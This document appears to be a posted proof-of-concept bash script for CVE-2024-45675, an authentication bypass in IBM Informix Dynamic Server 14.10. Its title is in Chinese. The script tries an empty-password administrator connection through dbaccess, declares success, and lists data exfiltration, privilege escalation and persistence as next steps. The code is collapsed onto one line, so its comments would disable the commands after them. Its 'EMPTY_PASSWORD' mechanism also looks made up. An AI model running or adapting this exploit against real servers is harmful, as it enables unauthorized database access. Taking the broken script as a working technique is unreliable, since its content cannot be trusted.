CVE-2024-45675 IBM Informix Dynamic Server 本地管理员无密码认证绕过漏洞

#!/bin/bash # CVE-2024-45675 PoC - IBM Informix Dynamic Server Local Authentication Bypass # This PoC demonstrates the authentication bypass vulnerability in IBM IDS 14.10 echo "[*] CVE-2024-45675 IBM Informix Dynamic Server Authentication Bypass PoC" echo "[*] Target: IBM Informix Dynamic Server 14.10" # Check if onconnect or dbaccess is available if ! command -v onmode &> /dev/null; then echo "[-] Error: IBM Informix utilities not found" echo "[-] This script must be run on a system with IBM IDS installed" exit 1 fi # Method 1: Try connection with empty password as informix user # In a vulnerable system, this may succeed without password prompt echo "[+] Attempting authentication bypass with empty password..." sql_cmd="SELECT FIRST 1 * FROM sysmaster:sysdatabases;" # Try to connect without password (vulnerable behavior) echo $sql_cmd | ONCONFIG=EMPTY_PASSWORD dbaccess sysmaster - if [ $? -eq 0 ]; then echo "[+] VULNERABLE: Authentication bypass successful!" echo "[+] Attacker has gained administrator access to Informix server" echo "[+] Possible actions: data exfiltration, privilege escalation, persistence" else echo "[-] Target may not be vulnerable or access is restricted" fi # Note: Actual exploitation may require specific Informix environment variables # and connection strings. Refer to IBM documentation for proper connection methods.